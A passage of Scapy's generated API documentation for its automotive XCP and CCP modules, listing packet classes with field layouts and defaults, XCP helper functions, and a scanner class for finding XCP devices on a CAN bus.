class scapy.contrib.automotive.xcp.cto_commands_slave.ShortUploadPositiveResponse(_pkt, /, *, alignment=b'', element=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/xcp/cto_commands_slave.py#L172-L180]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           ALIGNMENT           |            ELEMENT            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                 Fig. ShortUploadPositiveResponse                 


ShortUploadPositiveResponse fields






	alignment

	StrLenField (Cond)

	b''



	element

	StrLenField

	b''















	
class scapy.contrib.automotive.xcp.cto_commands_slave.StartStopDAQListPositiveResponse(_pkt, /, *, first_pid=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/xcp/cto_commands_slave.py#L305-L308]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|   FIRST PID   |
+-+-+-+-+-+-+-+-+

              Fig. StartStopDAQListPositiveResponse               


StartStopDAQListPositiveResponse fields






	first_pid

	ByteField

	0















	
class scapy.contrib.automotive.xcp.cto_commands_slave.StatusPositiveResponse(_pkt, /, *, current_session_status=<Flag 0 ()>, current_resource_protection_status=<Flag 0 ()>, reserved=0, session_configuration_id=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/xcp/cto_commands_slave.py#L109-L118]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|CURRENT SESSION|CURRENT RESOURC|    RESERVED   |SESSION CONFIGU|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                   Fig. StatusPositiveResponse                    


StatusPositiveResponse fields






	current_session_status

	FlagsField

	<Flag 0 ()>



	current_resource_protection_status

	FlagsField

	<Flag 0 ()>



	reserved

	ByteField

	0



	session_configuration_id

	XCPEndiannessField

	0















	
class scapy.contrib.automotive.xcp.cto_commands_slave.TransportLayerCmdGetDAQIdResponse(_pkt, /, *, can_id_fixed=254, reserved=0, can_identifier=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/xcp/cto_commands_slave.py#L217-L226]

	Bases: Packet


	
aliastypes

	




	
can_id_fixed_enum = {0: 'configurable', 1: 'fixed'}

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  CAN ID FIXED |            RESERVED           | CAN IDENTIFIER|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

              Fig. TransportLayerCmdGetDAQIdResponse              


TransportLayerCmdGetDAQIdResponse fields






	can_id_fixed

	ByteEnumField

	254



	reserved

	XCPEndiannessField

	0



	can_identifier

	XCPEndiannessField

	0















	
class scapy.contrib.automotive.xcp.cto_commands_slave.TransportLayerCmdGetSlaveIdResponse(_pkt, /, *, position_1=88, position_2=67, position_3=80, can_identifier=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/xcp/cto_commands_slave.py#L208-L214]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|   POSITION 1  |   POSITION 2  |   POSITION 3  | CAN IDENTIFIER|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

             Fig. TransportLayerCmdGetSlaveIdResponse             


TransportLayerCmdGetSlaveIdResponse fields






	position_1

	XByteField

	88



	position_2

	XByteField

	67



	position_3

	XByteField

	80



	can_identifier

	XCPEndiannessField

	0















	
class scapy.contrib.automotive.xcp.cto_commands_slave.UnlockPositiveResponse(_pkt, /, *, current_resource_protection_status=<Flag 0 ()>)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/xcp/cto_commands_slave.py#L154-L158]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|CURRENT RESOURC|
+-+-+-+-+-+-+-+-+

                   Fig. UnlockPositiveResponse                    


UnlockPositiveResponse fields






	current_resource_protection_status

	FlagsField

	<Flag 0 ()>















	
class scapy.contrib.automotive.xcp.cto_commands_slave.UploadPositiveResponse(_pkt, /, *, alignment=b'', element=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/xcp/cto_commands_slave.py#L161-L169]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           ALIGNMENT           |            ELEMENT            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. UploadPositiveResponse                    


UploadPositiveResponse fields






	alignment

	StrLenField (Cond)

	b''



	element

	StrLenField

	b''

















            

          

      

      

    

  

    
      
          
            
  
scapy.contrib.automotive.xcp.scanner


	
class scapy.contrib.automotive.xcp.scanner.XCPOnCANScanner(can_socket: NativeCANSocket, id_range: Iterator[int] | None = None, sniff_time: float | None = 0.1, add_padding: bool | None = False, verbose: bool | None = False)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/xcp/scanner.py#L31-L158]

	Bases: object

Scans for XCP Slave on CAN


	
scan_with_connect() → List[XCPScannerResult][source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/xcp/scanner.py#L149-L158]

	




	
scan_with_get_slave_id() → List[XCPScannerResult][source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/xcp/scanner.py#L135-L147]

	Starts the scan for XCP devices on CAN with the transport specific
GetSlaveId Message










	
class scapy.contrib.automotive.xcp.scanner.XCPScannerResult(request_id, response_id)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/xcp/scanner.py]

	Bases: tuple


	
request_id

	Alias for field number 0






	
response_id

	Alias for field number 1












            

          

      

      

    

  

    
      
          
            
  
scapy.contrib.automotive.xcp.utils


	
class scapy.contrib.automotive.xcp.utils.StrVarLenField(name: str, default: bytes, length_from: Callable[[Packet], int] | None = None, max_length: Any | None = None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/xcp/utils.py#L133-L135]

	Bases: StrLenField


	
randval()[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/xcp/utils.py#L134-L135]

	








	
class scapy.contrib.automotive.xcp.utils.XCPEndiannessField(fld)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/xcp/utils.py#L105-L130]

	Bases: object

Field which changes the endianness of a sub-field


	
addfield(pkt, s, val)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/xcp/utils.py#L125-L127]

	




	
fld

	




	
getfield(pkt, s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/xcp/utils.py#L120-L123]

	




	
set_endianness()[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/xcp/utils.py#L112-L118]

	Add the endianness to the format










	
scapy.contrib.automotive.xcp.utils.get_ag()[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/xcp/utils.py#L34-L42]

	




	
scapy.contrib.automotive.xcp.utils.get_daq_data_field_length()[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/xcp/utils.py#L91-L101]

	




	
scapy.contrib.automotive.xcp.utils.get_daq_length()[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/xcp/utils.py#L70-L88]

	




	
scapy.contrib.automotive.xcp.utils.get_max_cto()[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/xcp/utils.py#L16-L22]

	




	
scapy.contrib.automotive.xcp.utils.get_max_dto()[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/xcp/utils.py#L25-L31]

	




	
scapy.contrib.automotive.xcp.utils.get_timestamp_length()[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/xcp/utils.py#L51-L52]

	




	
scapy.contrib.automotive.xcp.utils.identification_field_needs_alignment()[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/xcp/utils.py#L55-L67]

	






            

          

      

      

    

  

    
      
          
            
  
scapy.contrib.automotive.xcp.xcp


	
class scapy.contrib.automotive.xcp.xcp.CTORequest(_pkt, /, *, pid=191)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/xcp/xcp.py#L148-L222]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      PID      |
+-+-+-+-+-+-+-+-+

                         Fig. CTORequest                          


CTORequest fields






	pid

	ByteEnumField

	191











	
payload_guess

	Possible sublayers:
AllocDaq, AllocOdtEntry, AllocOdt, BuildChecksum, ClearDaqList, Connect, CopyCalPage, Disconnect, DownloadMax, DownloadNext, Download, FreeDaq, GetCalPage, GetCommModeInfo, GetDaqClock, GetDaqEventInfo, GetDaqListInfo, GetDaqListMode, GetDaqProcessorInfo, GetDaqResolutionInfo, GetId, GetPagProcessorInfo, GetPageInfo, GetPgmProcessorInfo, GetSectorInfo, GetSeed, GetSegmentInfo, GetSegmentMode, GetStatus, ModifyBits, ProgramClear, ProgramFormat, ProgramMax, ProgramNext, ProgramPrepare, ProgramReset, ProgramStart, ProgramVerify, Program, ReadDaq, SetCalPage, SetDaqListMode, SetDaqPtr, SetMta, SetRequest, SetSegmentMode, ShortDownload, ShortUpload, StartStopDaqList, StartStopSynch, Synch, TransportLayerCmdGetDAQId, TransportLayerCmdGetSlaveId, TransportLayerCmdSetDAQId, TransportLayerCmd, Unlock, Upload, UserCmd, WriteDaq, DTO






	
pids = {0: 'STIM', 1: 'STIM', 2: 'STIM', 3: 'STIM', 4: 'STIM', 5: 'STIM', 6: 'STIM', 7: 'STIM', 8: 'STIM', 9: 'STIM', 10: 'STIM', 11: 'STIM', 12: 'STIM', 13: 'STIM', 14: 'STIM', 15: 'STIM', 16: 'STIM', 17: 'STIM', 18: 'STIM', 19: 'STIM', 20: 'STIM', 21: 'STIM', 22: 'STIM', 23: 'STIM', 24: 'STIM', 25: 'STIM', 26: 'STIM', 27: 'STIM', 28: 'STIM', 29: 'STIM', 30: 'STIM', 31: 'STIM', 32: 'STIM', 33: 'STIM', 34: 'STIM', 35: 'STIM', 36: 'STIM', 37: 'STIM', 38: 'STIM', 39: 'STIM', 40: 'STIM', 41: 'STIM', 42: 'STIM', 43: 'STIM', 44: 'STIM', 45: 'STIM', 46: 'STIM', 47: 'STIM', 48: 'STIM', 49: 'STIM', 50: 'STIM', 51: 'STIM', 52: 'STIM', 53: 'STIM', 54: 'STIM', 55: 'STIM', 56: 'STIM', 57: 'STIM', 58: 'STIM', 59: 'STIM', 60: 'STIM', 61: 'STIM', 62: 'STIM', 63: 'STIM', 64: 'STIM', 65: 'STIM', 66: 'STIM', 67: 'STIM', 68: 'STIM', 69: 'STIM', 70: 'STIM', 71: 'STIM', 72: 'STIM', 73: 'STIM', 74: 'STIM', 75: 'STIM', 76: 'STIM', 77: 'STIM', 78: 'STIM', 79: 'STIM', 80: 'STIM', 81: 'STIM', 82: 'STIM', 83: 'STIM', 84: 'STIM', 85: 'STIM', 86: 'STIM', 87: 'STIM', 88: 'STIM', 89: 'STIM', 90: 'STIM', 91: 'STIM', 92: 'STIM', 93: 'STIM', 94: 'STIM', 95: 'STIM', 96: 'STIM', 97: 'STIM', 98: 'STIM', 99: 'STIM', 100: 'STIM', 101: 'STIM', 102: 'STIM', 103: 'STIM', 104: 'STIM', 105: 'STIM', 106: 'STIM', 107: 'STIM', 108: 'STIM', 109: 'STIM', 110: 'STIM', 111: 'STIM', 112: 'STIM', 113: 'STIM', 114: 'STIM', 115: 'STIM', 116: 'STIM', 117: 'STIM', 118: 'STIM', 119: 'STIM', 120: 'STIM', 121: 'STIM', 122: 'STIM', 123: 'STIM', 124: 'STIM', 125: 'STIM', 126: 'STIM', 127: 'STIM', 128: 'STIM', 129: 'STIM', 130: 'STIM', 131: 'STIM', 132: 'STIM', 133: 'STIM', 134: 'STIM', 135: 'STIM', 136: 'STIM', 137: 'STIM', 138: 'STIM', 139: 'STIM', 140: 'STIM', 141: 'STIM', 142: 'STIM', 143: 'STIM', 144: 'STIM', 145: 'STIM', 146: 'STIM', 147: 'STIM', 148: 'STIM', 149: 'STIM', 150: 'STIM', 151: 'STIM', 152: 'STIM', 153: 'STIM', 154: 'STIM', 155: 'STIM', 156: 'STIM', 157: 'STIM', 158: 'STIM', 159: 'STIM', 160: 'STIM', 161: 'STIM', 162: 'STIM', 163: 'STIM', 164: 'STIM', 165: 'STIM', 166: 'STIM', 167: 'STIM', 168: 'STIM', 169: 'STIM', 170: 'STIM', 171: 'STIM', 172: 'STIM', 173: 'STIM', 174: 'STIM', 175: 'STIM', 176: 'STIM', 177: 'STIM', 178: 'STIM', 179: 'STIM', 180: 'STIM', 181: 'STIM', 182: 'STIM', 183: 'STIM', 184: 'STIM', 185: 'STIM', 186: 'STIM', 187: 'STIM', 188: 'STIM', 189: 'STIM', 190: 'STIM', 191: 'STIM', 199: 'WRITE_DAQ_MULTIPLE', 200: 'PROGRAM_VERIFY', 201: 'PROGRAM_MAX', 202: 'PROGRAM_NEXT', 203: 'PROGRAM_FORMAT', 204: 'PROGRAM_PREPARE', 205: 'GET_SECTOR_INFO', 206: 'GET_PGM_PROCESSOR_INFO', 207: 'PROGRAM_RESET', 208: 'PROGRAM', 209: 'PROGRAM_CLEAR', 210: 'PROGRAM_START', 211: 'ALLOC_ODT_ENTRY', 212: 'ALLOC_ODT', 213: 'ALLOC_DAQ', 214: 'FREE_DAQ', 215: 'GET_DAQ_EVENT_INFO', 216: 'GET_DAQ_LIST_INFO', 217: 'GET_DAQ_RESOLUTION_INFO', 218: 'GET_DAQ_PROCESSOR_INFO', 219: 'READ_DAQ', 220: 'GET_DAQ_CLOCK', 221: 'START_STOP_SYNCH', 222: 'START_STOP_DAQ_LIST', 223: 'GET_DAQ_LIST_MODE', 224: 'SET_DAQ_LIST_MODE', 225: 'WRITE_DAQ', 226: 'SET_DAQ_PTR', 227: 'CLEAR_DAQ_LIST', 228: 'COPY_CAL_PAGE', 229: 'GET_SEGMENT_MODE', 230: 'SET_SEGMENT_MODE', 231: 'GET_PAGE_INFO', 232: 'GET_SEGMENT_INFO', 233: 'GET_PAG_PROCESSOR_INFO', 234: 'GET_CAL_PAGE', 235: 'SET_CAL_PAGE', 236: 'MODIFY_BITS', 237: 'SHORT_DOWNLOAD', 238: 'DOWNLOAD_MAX', 239: 'DOWNLOAD_NEXT', 240: 'DOWNLOAD', 241: 'USER_CMD', 242: 'TRANSPORT_LAYER_CMD', 243: 'BUILD_CHECKSUM', 244: 'SHORT_UPLOAD', 245: 'UPLOAD', 246: 'SET_MTA', 247: 'UNLOCK', 248: 'GET_SEED', 249: 'SET_REQUEST', 250: 'GET_ID', 251: 'GET_COMM_MODE_INFO', 252: 'SYNCH', 253: 'GET_STATUS', 254: 'DISCONNECT', 255: 'CONNECT'}

	








	
class scapy.contrib.automotive.xcp.xcp.CTOResponse(_pkt, /, *, packet_code=255)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/xcp/xcp.py#L330-L428]

	Bases: Packet


	
aliastypes

	




	
answers(request)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/xcp/xcp.py#L388-L428]

	In XCP, the payload of a response packet is dependent on the pid
field of the corresponding request.
This method changes the class of the payload to the class
which is expected for the given request.






	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  PACKET CODE  |
+-+-+-+-+-+-+-+-+

                         Fig. CTOResponse                         


CTOResponse fields






	packet_code

	ByteEnumField

	255











	
static get_positive_response_cls(request)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/xcp/xcp.py#L343-L386]

	




	
packet_codes = {252: 'SERV', 253: 'EV', 254: 'ERR', 255: 'RES'}

	




	
payload_guess

	Possible sublayers:
EvPacket, NegativeResponse, ServPacket, DTO










	
class scapy.contrib.automotive.xcp.xcp.DTO(_pkt, /, *, fill=0, daq=b'', timestamp=b'', data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/xcp/xcp.py#L307-L323]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      FILL     |              DAQ              |   TIMESTAMP   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                             Fig. DTO                             


DTO fields






	fill

	XByteField (Cond)

	0



	daq

	StrLenField (Cond)

	b''



	timestamp

	StrLenField (Cond)

	b''



	data

	StrLenField (Cond)

	b''















	
class scapy.contrib.automotive.xcp.xcp.XCPOnCAN(_pkt, /, *, flags=<Flag 0 ()>, identifier=0, length=None, reserved=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/xcp/xcp.py#L78-L99]

	Bases: CAN


	
aliastypes

	




	
extract_padding(p)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/xcp/xcp.py#L98-L99]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|FLAGS|                        IDENTIFIER                       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     LENGTH    |                    RESERVED                   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                          Fig. XCPOnCAN                           


XCPOnCAN fields






	flags

	FlagsField

	<Flag 0 ()>



	identifier

	XBitField  (29 bits)

	0



	length

	ByteField

	None



	reserved

	ThreeBytesField

	0











	
payload_guess

	Possible sublayers:
CTOResponse






	
post_build(pkt, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/xcp/xcp.py#L89-L96]

	








	
class scapy.contrib.automotive.xcp.xcp.XCPOnCANTail(_pkt, /, *, control_field=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/xcp/xcp.py#L140-L145]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         CONTROL FIELD         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. XCPOnCANTail                         


XCPOnCANTail fields






	control_field

	StrField

	b''















	
class scapy.contrib.automotive.xcp.xcp.XCPOnTCP(_pkt, /, *, sport=20, dport=80, seq=0, ack=0, dataofs=None, reserved=0, flags=<Flag 2 (S)>, window=8192, chksum=None, urgptr=0, options=b'', length=None, ctr=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/xcp/xcp.py#L116-L137]

	Bases: TCP


	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/xcp/xcp.py#L124-L129]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             SPORT             |             DPORT             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              SEQ                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              ACK                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|DATAOFS|RESER|      FLAGS      |             WINDOW            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             CHKSUM            |             URGPTR            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            OPTIONS            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              CTR              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. XCPOnTCP                           


XCPOnTCP fields






	sport

	ShortEnumField

	20



	dport

	ShortEnumField

	80



	seq

	IntField

	0



	ack

	IntField

	0



	dataofs

	BitField  (4 bits)

	None



	reserved

	BitField  (3 bits)

	0



	flags

	FlagsField

	<Flag 2 (S)>



	window

	ShortField

	8192



	chksum

	XShortField

	None



	urgptr

	ShortField

	0



	options

	TCPOptionsField

	b''



	length

	ShortField

	None



	ctr

	ShortField

	0











	
payload_guess

	Possible sublayers:
HSFZ, DoIP, SOMEIP, CTOResponse






	
post_build(pkt, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/xcp/xcp.py#L131-L137]

	








	
class scapy.contrib.automotive.xcp.xcp.XCPOnUDP(_pkt, /, *, sport=53, dport=53, len=None, chksum=None, length=None, ctr=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/xcp/xcp.py#L102-L113]

	Bases: UDP


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             SPORT             |             DPORT             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              LEN              |             CHKSUM            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             LENGTH            |              CTR              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. XCPOnUDP                           


XCPOnUDP fields






	sport

	ShortEnumField

	53



	dport

	ShortEnumField

	53



	len

	ShortField

	None



	chksum

	XShortField

	None



	length

	ShortField

	None



	ctr

	ShortField

	0











	
payload_guess

	Possible sublayers:
PDUTransport, DoIP, SOMEIP, CTOResponse, GRE






	
post_build(pkt, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/xcp/xcp.py#L109-L113]

	










            

          

      

      

    

  

    
      
          
            
  
scapy.contrib.automotive.ccp


	
class scapy.contrib.automotive.ccp.ACTION_SERVICE(_pkt, /, *, action_service=0, ccp_reserved=b'\xff\xff\xff\xff')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/ccp.py#L357-L361]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         ACTION SERVICE        |          CCP RESERVED         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. ACTION_SERVICE                        


ACTION_SERVICE fields






	action_service

	ShortField

	0



	ccp_reserved

	StrFixedLenField

	b'\xff\xff\xff\xff'















	
class scapy.contrib.automotive.ccp.ACTION_SERVICE_DTO(_pkt, /, *, data_length=0, data_type=0, ccp_reserved=b'\xff\xff\xff')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/ccp.py#L489-L494]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  DATA LENGTH  |   DATA TYPE   |          CCP RESERVED         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                     Fig. ACTION_SERVICE_DTO                      


ACTION_SERVICE_DTO fields






	data_length

	ByteField

	0



	data_type

	ByteField

	0



	ccp_reserved

	StrFixedLenField

	b'\xff\xff\xff'















	
class scapy.contrib.automotive.ccp.BUILD_CHKSUM(_pkt, /, *, size=0, ccp_reserved=b'\xff\xff')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/ccp.py#L265-L269]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              SIZE                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          CCP RESERVED         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. BUILD_CHKSUM                         


BUILD_CHKSUM fields






	size

	IntField

	0



	ccp_reserved

	StrFixedLenField

	b'\xff\xff'















	
class scapy.contrib.automotive.ccp.BUILD_CHKSUM_DTO(_pkt, /, *, checksum_size=0, checksum_data=b'\x00\x00\x00\x00', ccp_reserved=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/ccp.py#L450-L457]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
